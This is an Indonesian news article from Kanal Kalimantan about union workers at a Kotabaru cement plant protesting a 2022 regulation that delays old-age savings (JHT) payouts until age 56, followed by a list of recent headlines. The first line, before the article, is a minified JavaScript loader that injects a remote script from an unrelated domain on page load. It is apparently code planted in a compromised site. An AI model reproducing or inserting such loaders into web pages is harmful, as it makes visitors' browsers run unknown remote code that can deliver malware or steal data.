(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kotabaru

Tolak Aturan JHT Baru, Perwakilan Pekerja Datangi Disnakertrans Kotabaru


KANALKALIMANTAN.COM, KOTABARU – Perwakilan pekerja yang tergabung dalam Serikat Pekerja Industri Semen Indonesia (SP ISI) PT Indocement Tunggal Prakarsa Tarjun mendatangi kantor Dinas Tenaga Kerja dan Transmigrasi (Disnakertrans) Kabupaten Kotabaru dan BPJS Ketenagakerjaan, Kamis (17/2/2022).

Mereka menegaskan penolakan terkait Peraturan Menteri Ketenagakerjaan Nomor 2 tahun 2022 tentang tata cara dan persyaratan pembayaran manfaat jaminan hari tua.

Kepada kanalkalimantan.com, Ketua SP ISI ITP Tarjun Tri Winarno mengatakan, menolak aturan baru yang dikeluarkan oleh Menaker yang mana point pentingnya adalah pencairan dana Jaminan Hari Tua (JHT) akan dikeluarkan pada saat berusia 56 tahun.

“Menurut kami hal itu sangat merugikan kami sebagai pekerja. Oleh karenanya kami meminta dan menyampaikan aspirasi agar aturan tersebut di cabut,” ucapnya.

 

Baca juga : Bupati Zairullah Hadiri Isra Mi’raj di Desa Bersujud

Dikatakannya lebih jauh, ada 2 point penting yang disampaikan di dalam surat aspirasi yang disampaikan yakni, isinya dianggap memiskinkan bahkan mengancam kehidupan pekerja dan keluarganya.

Kedua, adalah JHT adalah iuran yang dibayarkan oleh pekerja yang seharusnya bisa dinikmati pekerja pada saat Pemutusan Hubungan Kerja (PHK) dan usia pensiun tanpa harus ditunda sampai usia 56 tahun oleh pengelola (pemerintah).

“Sekali lagi kami berharap aspirasi kami ini dapat disampaikan ke tingkat yang lebih tinggi lagi sehingga akan dijadikan sebagai bahan acuan oleh pemerintah,” jelasnya.

Sementara Kepala Disnakertrans Kabupaten Kotabaru, H Sugian Noor menyatakan, pihaknya mendukung upaya penyampaian aspirasi yang dilakukan sepanjang dalam keadaan aman dan kondusif dan menurutnya hal itu merupakan hak dari para pekerja untuk menyuarakannya.

 

Baca juga : 100 Karyawan ALIF Sumbang Darah di Hari Keselamatan dan Kesehatan Kerja

“Yang jelas kami menerima aspirasi mereka hari ini, dan melihat situasinya memang peraturan tersebut mesti di tinjau kembali,” ujarnya.

Pihaknya akan melayangkan surat kepada Kementerian Ketenagakerjaan untuk meninjau kembali dengan memberikan pertimbangan-pertimbangan melihat suasana para pekerja di lapangan.

“Kami melihat situasi di lapangan bahwa ternyata ada keresahan di pihak para pekerja dan hal itu juga harus menjadi perhatian kita bersama,” pungkasnya. (Kanalkalimantan.com/muhammad)

Reporter : muh
Editor : cell


Desy Arfianty

Recent Posts

‎PCNU Alabio Salurkan Bantuan Korban Banjir di Desa Pondok Babaris

KANALKALIMANTAN.COM, AMUNTAI - Wujud kepedulian Pengurus Cabang (PC) Nahdatul Ulama (NU) Alabio menyalurkan bantuan kepada… Read More

13 jam ago

Represifitas Aparat saat Unjuk Rasa Mahasiswa di Rumah Banjar

KANALKALIMANTAN.COM, BANJARMASIN — Demontrasi tolak Pilkada melalui DPRD di Banjarmasin memakan korban dari mahasiswa imbas… Read More

21 jam ago

Pemkab Kapuas Siapkan Data dan Regulasi Dukung Program 3 Juta Rumah

KANALKALIMANTAN.VOM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mulai menyelaraskan kebijakan daerah untuk mendukung program prioritas… Read More

1 hari ago

Unjuk Rasa Mahasiswa di Rumah Banjar Cuma Satu Wakil Rakyat Muncul

KANALKALIMANTAN.COM, BANJARMASIN — Ratusan mahasiswa masuk ke gedung DPRD Kalimantan Selatan (Kalsel) untuk menyampaikan penolakan… Read More

1 hari ago

Sekda Kapuas Pimpin Rakor Laporan Kinerja Pelaksanaan PRO-SN 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Sekretaris Daerah (Sekda) Kabupaten Kapuas Usis I Sangkai memimpin rapat koordinasi… Read More

1 hari ago

Jaminan Kesejahteraan untuk PPPK, Pemkab Kapuas Rapat Bersama PT Taspen

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten Kapuas mematangkan langkah sosialisasi PT Taspen bagi Pegawai Pemerintah… Read More

1 hari ago

This website uses cookies.